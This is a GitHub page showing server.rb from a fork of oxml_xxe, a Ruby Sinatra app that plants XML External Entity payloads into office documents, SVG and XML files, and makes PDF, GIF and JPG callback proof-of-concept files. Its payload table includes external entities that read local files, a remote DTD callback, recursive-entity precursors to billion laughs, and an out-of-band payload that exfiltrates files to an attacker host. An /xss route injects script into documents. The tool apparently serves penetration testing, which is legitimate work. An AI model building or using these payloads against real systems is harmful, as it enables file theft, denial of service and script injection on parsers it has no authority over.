forked from BuffaloWill/oxml_xxe
-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.rb
327 lines (269 loc) · 9.3 KB
/
server.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
# encoding: ASCII-8BIT
require 'rubygems'
require 'sinatra'
require 'haml'
require 'json'
require 'fileutils'
require 'optparse'
require 'json'
require './lib/util'
require './model/master'
if not File.file?('./db/master.db')
puts "|+| Database does not exist, initializing a blank one."
out_file = File.new("./db/master.db", "w")
out_file.puts("")
out_file.close
end
# TODO apply to all xml in docx
# TODO OOB is incorrect
# TODO explain each menu item in help
# TODO soft link content types
set :protocols, ["http","https","ftp","jar","file","netdoc","mailto","gopher","none"]
set :types, ["docx","pptx","xlsx","svg","odt","xml","odg","odp","ods"]
set :poc_types, ["pdf","jpg","gif"]
# Keep the payloads organized
def read_payloads()
pl = {}
pl[ "Remote DTD public check"] = ['<!DOCTYPE roottag PUBLIC "-//OXML/XXE/EN" "IP/FILE">',"A Remote DTD causes the XML parser to make an external connection when successful. "]
pl["Canary XML Entity"] = ['<!DOCTYPE root [<!ENTITY xxe "XE_SUCCESSFUL">]>', "The Canary XML Entity is useful to check if the application rejects a file with an entity included. No malicious application but useful to check for."]
pl["Plain External XML Entity"] = ['<!DOCTYPE root [<!ENTITY xxe SYSTEM "FILE">]>', "A simple external XML entity. Note, the file is the value for the payload; IP and PROTOCOL are ignored by OXML XXE."]
pl["Recursive XML Entity"] = ['<!DOCTYPE root [<!ENTITY b "XE_SUCCESSFUL"><!ENTITY xxe "RECURSE &b;&b;&b;&b;">]>', "A recursive XML Entity. This is a precursor check to the billion laughs attack."]
pl["Canary Parameter Entity"] = ['<!DOCTYPE root [<!ENTITY % xxe "test"> %xxe;]>', "A parameter entity check. This is valuable because the entity is checked immediately when the DOCTYPE is parsed. No malicious application but useful to check for."]
pl["Plain External Parameter Entity"] = ['<!DOCTYPE root [<!ENTITY % a SYSTEM "FILE"> %a;]>', "A simple external parameter entity. Note, the file is the value for the payload; IP and PROTOCOL are ignored by OXML XXE. Useful because the entity is checked immediately when the DOCTYPE is parsed. "]
pl["Recursive Parameter Entity"] = ['<!DOCTYPE root [<!ENTITY % a "PARAMETER"> <!ENTITY % b "RECURSIVE %a;"> %b;]>',"Technically recursive parameter entities are not allowed by the XML spec. Should never work. Precursor to the billion laughs attack."]
pl["Out of Bounds Attack"] = ['<!DOCTYPE root [<!ENTITY % file SYSTEM "file://FILE"><!ENTITY % dtd SYSTEM "IP">%a;]>',"OOB is a useful technique to exfiltrate files when attacking blind. See References."]
return pl
end
def oxml_file_defaults()
d = {}
d["docx"] = ["samples/sample.docx", "word/document.xml"]
d["xlsx"] = ["samples/sample.xlsx", "xl/workbook.xml"]
d["pptx"] = ["samples/sample.pptx", "ppt/presentation.xml"]
d["odt"] = ["samples/sample.odt", "content.xml"]
d["odg"] = ["samples/sample.odg", "content.xml"]
d["odp"] = ["samples/sample.odp", "content.xml"]
d["ods"] = ["samples/sample.ods", "content.xml"]
return d
end
set :payloads, read_payloads
get '/' do
redirect to("/build")
end
get '/build' do
@types = settings.types
@payloads = settings.payloads
@protos = settings.protocols
haml :build, :encode_html => true
end
post '/build' do
oxmls = oxml_file_defaults()
pl = read_payloads()
if params["proto"] == "none"
ip = params["hostname"]
else
# TODO is this correct for all protocols?
ip = params["proto"]+"://"+params["hostname"]
end
if params[:file] != nil
# TODO support svg
# TODO support xml
input_file = params[:file][:tempfile].read
nname = "temp_#{Time.now.to_i}_"
ext = params[:file][:filename].split('.').last
rand_file = "./output/#{nname}_z.#{ext}"
File.open(rand_file, 'wb') {|f| f.write(input_file) }
file_exploit = rand_file
end
if oxmls.include?(params["file_type"])
xml_file = params["xml_file"].size > 0 ? params["xml_file"] : oxmls[params["file_type"]][1]
file_exploit = oxmls[params["file_type"]][0]
fn = insert_payload_docx(file_exploit,xml_file,pl[params["payload"]][0],ip,params["exfil_file"])
elsif params["file_type"] == "svg"
fn = insert_payload_svg("./samples/sample.svg",pl[params["payload"]][0],ip,params["exfil_file"])
elsif params["file_type"] == "xml"
fn = insert_payload_xml("./samples/sample.xml",pl[params["payload"]][0],ip,params["exfil_file"])
end
# write entry to database
file = Oxfile.new
file.filename = fn.split('/').last
file.location = fn
file.desc = clean_html(params["desc"])
file.type = params["file_type"]
file.save
send_file(fn, :filename => "#{fn.split('/').last}")
end
get '/replace' do
@types = settings.types
@payloads = settings.payloads
@protos = settings.protocols
haml :replace, :encode_html => true
end
post '/replace' do
if params[:file] == nil
return "Error no file included"
end
pl = read_payloads()
if params["proto"] == "none"
ip = params["hostname"]
else
# TODO is this correct for all protocols
ip = params["proto"]+"://"+params["hostname"]
end
input_file = params[:file][:tempfile].read
nname = "temp_#{Time.now.to_i}_"
ext = params[:file][:filename].split('.').last
rand_file = "./output/#{nname}_z.#{ext}"
File.open(rand_file, 'wb') {|f| f.write(input_file) }
# TODO logic check if svg or xml
# TODO modify uri
fn = string_replace(pl[params["payload"]][0],rand_file,ip,params["exfil_file"])
if fn == "|-|"
"|-| Could not find § in document, please verify."
else
# write entry to database
file = Oxfile.new
file.filename = fn.split('/').last
file.location = fn
file.desc = clean_html(params["desc"])
file.type = fn.split('.').last
file.save
send_file(fn, :filename => "#{fn.split('/').last}")
end
end
get '/xss' do
haml :xss, :encode_html => true
end
post '/xss' do
if params[:file] == nil
return "Error no file included"
end
input_file = params[:file][:tempfile].read
nname = "temp_#{Time.now.to_i}_"
ext = params[:file][:filename].split('.').last
rand_file = "./output/#{nname}_z.#{ext}"
File.open(rand_file, 'wb') {|f| f.write(input_file) }
# TODO logic check if svg or xml
# TODO modify uri
# TODO add a supported types box
# TODO add a non-entity replacement option
xss = "<!DOCTYPE root [<!ENTITY xxe \"#{params[:xss]}\">]>"
xss = "<!DOCTYPE root [<!ENTITY xxe \"<![CDATA[#{params[:xss]}]>\">]>" if params[:cdata]
fn = string_replace(xss,rand_file,"","")
if fn == "|-|"
"|-| Could not find § in document, please verify."
else
# write entry to database
file = Oxfile.new
file.filename = fn.split('/').last
file.location = fn
file.desc = clean_html(params["desc"])
file.type = fn.split('.').last
file.save
send_file(fn, :filename => "#{fn.split('/').last}")
end
end
get '/poc' do
@types = settings.poc_types
@protos = settings.protocols
haml :poc, :encode_html => true
end
post '/poc' do
if params["proto"] == "none"
ip = params["hostname"]
else
# TODO is this correct for all protocols?
ip = params["proto"]+"://"+params["hostname"]
end
if params["file_type"] == "pdf"
fn = pdf_poc(ip)
elsif params["file_type"] == "gif"
fn = gif_poc(ip)
elsif params["file_type"] == "jpg"
fn = jpg_poc(ip)
end
# write entry to database
file = Oxfile.new
file.filename = fn.split('/').last
file.location = fn
file.desc = clean_html(params["desc"])
file.type = params["file_type"]
file.save
send_file fn, :type => params["file_type"], :filename => "#{fn.split('/').last}"
end
get '/list' do
@files = Oxfile.all()
haml :list, :encode_html => true
end
get '/download' do
# check if params is set
file = Oxfile.first(:id => params["id"])
send_file file.location, :filename => file.filename
end
get '/display' do
haml :display, :encode_html => true
end
post '/display_file' do
if params[:file] == nil
return "Error no file included"
end
input_file = params[:file][:tempfile].read
nname = "temp_#{Time.now.to_i}_"
ext = params[:file][:filename].split('.').last
rand_file = "./output/#{nname}_z.#{ext}"
File.open(rand_file, 'wb') {|f| f.write(input_file) }
@files = display_file(rand_file)
haml :display_file, :encode_html => true
end
get '/view_file' do
if params[:id] == nil
return "Error no file included"
end
file = Oxfile.first(:id => params["id"])
rand_file = file.location
@files = display_file(rand_file)
haml :display_file, :encode_html => true
end
get '/delete' do
file = Oxfile.first(:id => params["id"])
if file == nil
redirect '/list'
end
file.destroy if file
File.delete(file.location) if file.location
redirect '/list'
end
get '/help' do
@payloads = read_payloads()
haml :help
end
get '/overwrite' do
haml :overwrite, :encode_html => true
end
post '/overwrite' do
if params[:file] == nil
return "Error, no file included"
end
if params[:xml_file] == nil
return "Error, no xml_file specified"
end
input_file = params[:file][:tempfile].read
nname = "temp_#{Time.now.to_i}_"
ext = params[:file][:filename].split('.').last
rand_file = "./output/#{nname}_z.#{ext}"
File.open(rand_file, 'wb') {|f| f.write(input_file) }
if params[:replace_file] != nil
contents = params[:replace_file][:tempfile].read
else
contents = params[:xml_content]
end
p contents
fn = insert_payload_docx_(rand_file,params["xml_file"],contents,'','',true)
# write entry to database
file = Oxfile.new
file.filename = fn.split('/').last
file.location = fn
file.desc = clean_html(params["desc"])
file.type = fn.split('.').last
file.save
send_file(fn, :filename => "#{fn.split('/').last}")
end